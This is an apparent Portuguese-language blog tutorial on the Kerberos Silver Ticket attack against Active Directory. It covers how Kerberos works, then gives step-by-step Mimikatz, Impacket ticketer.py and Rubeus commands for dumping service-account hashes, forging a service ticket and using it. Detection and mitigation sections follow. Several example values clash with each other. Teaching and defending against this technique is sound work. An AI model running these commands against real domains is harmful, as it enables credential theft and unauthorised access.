Silver Ticket: Deep dive

O Silver Ticket Attack é um tipo de ataque cibernético que explora vulnerabilidades no protocolo Kerberos, amplamente utilizado para autenticação em ambientes Microsoft Active Directory (AD). Embora menos conhecido do que o Golden Ticket Attack, ele é extremamente perigoso, pois permite que um atacante obtenha acesso persistente a serviços específicos sem a necessidade de comprometer o controlador de domínio.

1. Por que o Silver Ticket Attack é tão perigoso?

Para alta gestão e iniciantes em segurança, é essencial compreender a gravidade do Silver Ticket Attack. Diferente do Golden Ticket, que permite acesso irrestrito ao ambiente AD, o Silver Ticket oferece uma abordagem mais discreta e menos detectável. Esse ataque compromete apenas um serviço específico (como o SQL Server, File Server, Exchange, SharePoint, entre outros) e, ao fazer isso, evita interações diretas com o controlador de domínio. Como resultado, ferramentas de monitoramento centralizado podem não capturar sinais claros de uma invasão.

Ademais, o Silver Ticket Attack permite que o atacante se mantenha dentro da rede por longos períodos sem levantar suspeitas, abrindo caminho para movimentos laterais e persistência em ambientes corporativos de grande porte.

2. Silver Ticket Attack: Deep Dive

2.1. MITRE ATT&CK

O Silver Ticket está presente no framework MITRE ATT&ACK na sessão Steal or Forge Kerberos Tickets: Silver Ticket (T1558). A subtecnica do Silver Ticket em si é abordada como Silver Ticket (T1558.002).

2.2. O Funcionamento do Kerberos no Active Directory

Antes de entender o ataque, é importante compreender o funcionamento do protocolo Kerberos:

  1. Autenticação Inicial (AS-REQ / AS-REP): O usuário solicita um Ticket Granting Ticket (TGT) ao Key Distribution Center (KDC). Se autenticado, recebe um TGT assinado pela conta krbtgt.
  2. Solicitação de Serviço (TGS-REQ / TGS-REP): O usuário apresenta o TGT e solicita um TGS (Ticket Granting Service) para acessar um serviço específico (como SQL Server ou SharePoint).
  3. Acesso ao Serviço: O usuário apresenta o TGS ao serviço de destino, que confia nele sem consultar o KDC.

O ataque Silver Ticket foca na segunda etapa desse processo, permitindo que um invasor crie um TGS falso.

3. Como funciona o ataque

O ataque Silver Ticket se baseia no comprometimento de um hash NTLM da senha de uma conta de serviço e na sua exploração para forjar um Ticket Granting Service (TGS). Ao contrário do Golden Ticket, que envolve a conta krbtgt do controlador de domínio, o Silver Ticket explora hashes de contas de serviço individuais, facilitando a emissão de credenciais falsas para um serviço específico. Abaixo segue os passos:

  1. Obter hash NTLM – O atacante precisa obter o hash NTLM da conta de serviço alvo.
  2. Gerar o Silver Ticket – Com o hash em mãos, o invasor cria um TGS falso.
  3. Usar o Silver Ticket para Acesso – O ticket falso é utilizado para autenticação e acesso ao serviço comprometido.

Relembrando: Diferente do Golden Ticket, que exige comprometimento da conta krbtgt, o Silver Ticket apenas precisa do hash da conta de serviço (como MSSQLSvc, CIFS, HTTP).

4. Ferramentas e Técnicas

Aviso: Este conteúdo tem propósitos exclusivamente educacionais e deve ser utilizado para aprimorar a segurança da infraestrutura corporativa.

4.1. Mimikatz

Para obter o hash NTLM da conta de serviço podem ser usados as seguintes técnicas:

  1. Pass-the-Hash (PtH): Se um atacante comprometer um sistema onde a conta de serviço foi usada, pode extrair seu hash. Para mais detalhes, clique aqui para ler meu artigo sobre o tema.
  2. Kerberoasting: O atacante solicita um TGS para um serviço exposto e quebra o hash offline para recuperar as credenciais. Para mais detalhes, clique aqui para ler meu artigo sobre o tema.

4.1.1. Primeiro passo: Obter Hash NTLM da conta de serviço

Pass-the-Hash (PtH): Se um atacante comprometer um sistema onde a conta de serviço foi usada, pode extrair seu hash. Para mais detalhes, clique aqui para ler meu artigo sobre o tema. Abaixo segue o comando

mimikatz # sekurlsa::logonpasswords

Caso o atacante tenha acesso ao AD, pode usar o DCSync para a obtenção do hash, contudo essa atividade pode ser detectada.

mimikatz # lsadump::dcsync /user:<conta_de_serviço>

4.1.2. Segundo passo: Gerar o Silver Ticket

Com o hash NTLM obtido, o invasor pode gerar um TGS falso:

mimikatz # kerberos::golden /domain:<domínio> /sid:<SID_do_domínio> /target:<servidor> /service:<serviço> /rc4:<hash_NTLM> /user:<usuário> /ptt

Parâmetros importantes:

  • /user: → Nome do usuário para quem o ticket será criado.
  • /rc4: → NTLM hash da conta de serviço.
  • /domain: → Nome do domínio.
  • /sid: → SID do domínio (pode ser obtido com whoami /user).
  • /service: → O serviço alvo (por exemplo, cifs para compartilhamentos SMB, http para IIS, etc.).
  • /target: → Nome do servidor onde o serviço está rodando.
  • /ptt → Injeta diretamente o ticket na sessão do usuário.

4.1.3. Terceiro passo: Usar o Silver Ticket para acesso

O ticket pode ser injetado no contexto do processo atual:

klist purge
mimikatz # kerberos::ptt <ticket_gerado>
klist

Com isso, o atacante tem acesso ao serviço comprometido sem precisar se autenticar novamente.

4.2. Impacket

O Impacket, é uma ferramenta poderosa que permite a criação de Silver Tickets no Kerberos. Dentro dele existe o ticketer.py. que permite e emissão de tickets forjados.

4.2.1. Primeiro passo: Obter Hash NTLM da conta de serviço

Antes de gerar um Silver Ticket se faz necessário algumas informações:

  • NTLM hash da conta de serviço que protege o serviço-alvo. Esse hash pode ser obtido através de ataques como Kerberoasting ou Pass-the-Hash
  • Nome do domínio ao qual o serviço pertence.
  • Nome do usuário-alvo (caso esteja falsificando uma identidade específica).
  • Nome do serviço-alvo (por exemplo, cifs, http, mssqlsvc).
  • Nome do servidor que hospeda o serviço.

Abaixo segue o comando:

mimikatz # sekurlsa::logonpasswords

Caso o atacante tenha acesso ao AD, pode usar o DCSync para a obtenção do hash, contudo essa atividade pode ser detectada.

mimikatz # lsadump::dcsync /user:<conta_de_serviço>

4.2.2. Segundo passo: Gerar o Silver Ticket

Com o hash NTLM obtido, o invasor pode gerar um TGS falso:

python3 ticketer.py -nthash <HASH_NTLM> -domain <DOMINIO> -sid <SID> -spn <SERVIÇO/NOME_DO_HOST> <USUARIO>

Parâmetros importantes:

  • Conta de Serviço: svc-sql
  • Domínio: domain.corp
  • SID do Domínio: S-1-5-21-123456789-987654321-543210987
  • NTLM Hash da Conta de Serviço: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
  • Nome do Servidor: sqlserver.domain.corp
  • Serviço Alvo: mssqlsvc
  • Nome do Usuário Falso: Jhon.Wick

O comando para criar um Silver Ticket seria:

python3 ticketer.py -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \ -domain corp.local -sid S-1-5-21-123456789-987654321-543210987 \ -spn mssqlsvc/sqlserver.corp.local Jhon.Wick

Após executar esse comando, um arquivo de bilhete Kerberos (.ccache) será gerado.

4.2.3. Terceiro passo: Usar o Silver Ticket para acesso

Depois de gerar o Silver Ticket, ele precisa ser carregado na sessão do atacante para ser usado em autenticações.

Carregando o Ticket no Linux

No Linux, use o KRB5CCNAME para carregar o ticket na variável de ambiente:

export KRB5CCNAME=hacker.ccache

Depois, use ferramentas como mssqlclient.py para tentar acessar o serviço:

python3 mssqlclient.py -windows-auth domain.corp/jhon.wick@sqlserver.domain.corp

Carregando o Ticket no Windows

No Windows, a ferramenta Rubeus pode ser usada para injetar o bilhete:

.\Rubeus.exe ptt /ticket:hacker.ccache

Após a injeção, você pode acessar o serviço via PowerShell ou outras ferramentas que suportam autenticação Kerberos.


Se o ataque for bem-sucedido, o usuário forjado terá acesso ao serviço específico, mesmo sem um Ticket Granting Ticket (TGT) válido.

Por exemplo, para acessar um compartilhamento de arquivos em Windows:

net use \\sqlserver.corp.local\C$

Se um Silver Ticket para MSSQL foi gerado corretamente, o atacante pode executar consultas SQL sem autenticação adiciona

5. Detecção

Como o Silver Ticket Attack não requer comunicação com o Domain Controller, ele é difícil de detectar. Algumas estratégias de defesa incluem:

  • Monitoramento de eventos de autenticação Kerberos nos servidores-alvo.
  • Detecção de usuários acessando serviços sem TGT correspondente no DC.
  • Auditoria do Event ID 4769 (Falhas de solicitação de TGS)
  • Auditoria do Event ID 4624 (Logons suspeitos com TGS)
  • Uso de SIEM para implementar regras de correlação para detectar solicitações de TGS incomuns e acessos sem autenticação.

6. Como mitigar um ataque do tipo Silver Ticket

  1. Habilitar o enforcement de AES para Kerberos
    • Utilizar AES no lugar de RC4 minimiza riscos, pois RC4 permite ataques com hash NTLM.
  2. Rotacionar senhas de contas de serviço periodicamente
    • Uso de senhas longas e complexas reduz a viabilidade do ataque.
  3. Implementar Proteção de Credenciais
    • Group Managed Service Accounts (gMSAs) ajudam a mitigar esse ataque.
  4. Monitoramento Contínuo
    • Utilizar ferramentas como Microsoft Defender for Identity, Splunk, ELK Stack para detectar atividades suspeitas.
  5. Aplicar Conscientização e Hardening de AD (AD Tier)
    • Restrinja o acesso a contas de serviço sensíveis e monitore logs regularmente.
  6. Habilitação de assinatura SMB e LDAP
    • Habilitar esse recurso evitar autenticação sem verificação quando se fala de SMB ou ldap.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *